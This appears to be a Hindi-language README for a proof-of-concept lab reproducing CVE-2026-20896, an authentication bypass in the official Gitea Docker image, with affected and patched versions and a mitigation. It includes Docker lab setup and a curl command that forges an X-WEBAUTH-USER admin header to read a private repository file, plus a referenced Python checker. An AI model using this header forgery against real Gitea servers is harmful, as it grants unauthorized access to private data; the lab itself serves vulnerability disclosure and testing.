
CVE-2026-20896 का प्रमाण-अवधारणा लैब और Python/cURL स्क्रिप्ट्स, जो आधिकारिक Gitea Docker इमेज में X-WEBAUTH-USER हेडर के माध्यम से प्रमाणीकरण बायपास को प्रदर्शित करते हैं।
[!WARNING] इस PoC का उपयोग केवल स्थानीय लैब में या किसी ऐसे सिस्टम के विरुद्ध करें जिसका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है।
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
CVE-2026-20896 प्रभावित आधिकारिक Gitea Docker इमेज में एक प्रमाणीकरण बायपास है। जब रिवर्स-प्रॉक्सी प्रमाणीकरण सक्षम होता है, तो इमेज द्वारा उत्पन्न REVERSE_PROXY_TRUSTED_PROXIES = * सेटिंग एक ऐसे क्लाइंट को अनुमति देती है जो Gitea बैकएंड तक पहुँच सकता है, X-WEBAUTH-USER हेडर के माध्यम से किसी मौजूदा उपयोगकर्ता का रूप धारण कर सकता है।
लैब gitea-admin नामक एक व्यवस्थापक बनाती है जिसका पासवर्ड यादृच्छिक होता है और निजी रिपॉजिटरी gitea-admin/private-proof में CVE-2026-20896_AUTH_BYPASS_CONFIRMED संग्रहीत करती है। यादृच्छिक व्यवस्थापक पासवर्ड जाने बिना उस फ़ाइल को पढ़ना बायपास को प्रदर्शित करता है।
| श्रेणी | संस्करण |
|---|---|
| भेद्य | आधिकारिक gitea/gitea Docker इमेज ≤ 1.26.2 |
| पहला पैच किया गया | 1.26.3 |
| अनुशंसित | 1.26.4 या बाद का |
भेद्य कॉन्फ़िगरेशन के लिए आवश्यक है कि रिवर्स-प्रॉक्सी प्रमाणीकरण सक्षम हो और Gitea बैकएंड सीधे पहुँच योग्य हो, या कोई अपस्ट्रीम प्रॉक्सी हमलावर द्वारा प्रदान किए गए पहचान हेडर को संरक्षित करे। इस स्थानीय पुनरुत्पादन के लिए रिवर्स-प्रॉक्सी कंटेनर की आवश्यकता नहीं है।
# build
docker build -t cve-2026-20896-gitea-vuln .
# run
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
Gitea और निजी प्रूफ रिपॉजिटरी के आरंभ होने के लिए कुछ सेकंड प्रतीक्षा करें।
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
सफल शोषण CVE-2026-20896_AUTH_BYPASS_CONFIRMED लौटाता है।
python poc.py http://127.0.0.1:3000
स्क्रिप्ट अनधिकृत, गैर-व्यवस्थापक, और जाली व्यवस्थापक अनुरोधों की तुलना करती है और जब प्राधिकरण बायपास की पुष्टि होती है तो VULNERABLE प्रिंट करती है। इसके लिए Python 3.10 या बाद का संस्करण आवश्यक है और यह केवल मानक लाइब्रेरी का उपयोग करती है।
REVERSE_PROXY_TRUSTED_PROXIES को विश्वसनीय प्रॉक्सी पतों तक सीमित करें।docker stop cve-2026-20896-gitea-vuln